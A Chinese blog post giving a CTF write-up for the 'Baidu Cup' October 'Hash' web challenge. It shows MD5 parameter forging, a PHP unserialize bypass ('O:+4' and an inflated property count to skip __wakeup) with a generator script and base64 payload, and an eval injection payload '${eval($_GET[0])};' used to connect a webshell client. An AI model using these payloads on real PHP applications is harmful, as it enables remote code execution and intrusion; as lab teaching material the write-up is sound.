CTF日记之 “百度杯”CTF比赛 十月场 Hash

8 篇文章 0 订阅

CTF日记:“百度杯”CTF比赛 十月场 Hash


在这里插入图片描述
点进去之后发现“haha”,而且haha还可以点击,先不要急着点击haha,先查看源代码,发现了参数?key=123&hash=f9109d5f83921a551cf859f853afe7bb;这个东西可能会有用吧,再点击haha,发现:
在这里插入图片描述此时我们的url正是我们刚刚查看的参数,再次查看源代码,发现:
在这里插入图片描述源代码中告诉我们:hash这个参数是把sign参数和key参数拼接起来进行md5加密得到的,其中的key=123我们是知道的,现在就要通过爆破求解sign,说句实话,我看到网上的那些解题思路并没有说sign是怎么求解出来的,直接给出了sign=kkkkkk01,还说是hash解密的出来的。。。爆破8位数的hash难度还是不小的,而且题目也没有明确8位数的范围,所以就是数字+字母+标点符号,一起爆破,难度可想而知。
继续往下走吧,破出sign之后,根据提示说,key如果不是123,就会获得flag,那我们试一下,key=124,将hash用md5算出来,构造url。

http://e16dfc5ccf744c9cac52d49bc37c97d6d898d63656674142.changame.ichunqiu.com/index.php?key=124&hash=77dab7fc0322d9b23ccd6f2e95a065ba

在这里插入图片描述
又给了我们新的提示:
在这里插入图片描述
访问Gu3ss_m3_h2h2.php

 <?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?> 

看到wakeup()函数,想到了这是序列化的漏洞,wakeup()一旦执行就会调用反序列化函数,为了绕过wakeup()我们将数据的属性值大于真实值即可。
还有对/[oc]:\d+:/i,这个正则表达式的绕过,我们只需要将:5:变成这种形式:+5:即可绕过正则表达式的匹配。
最终的秘密在f15g_1s_here.php里面,先将f15g_1s_here.php作为参数传入Demo9函数,将整个函数实例化赋值给变量a,再序列化变量a,绕过正则,绕过wakeup函数,最后再进行base64编码。
所以,解题代码如下:

<?php
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码

运行的结果:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

在这里插入图片描述
又得到了这些源代码:

 <?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";');
} else {
    die('hahaha!');
}

?> 

代码中要求我们以get的方式传递一个val参数,对这个参数进行添加反斜杠的过滤方式。addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。我们可以通过这个payload来绕过:

${eval($_GET[0])};

在这里插入图片描述
通过中国蚁剑连接:
在这里插入图片描述
flag{c942392d-f15b-4cc8-93f9-c8b8d5ce02f1}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

二哈它爸

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值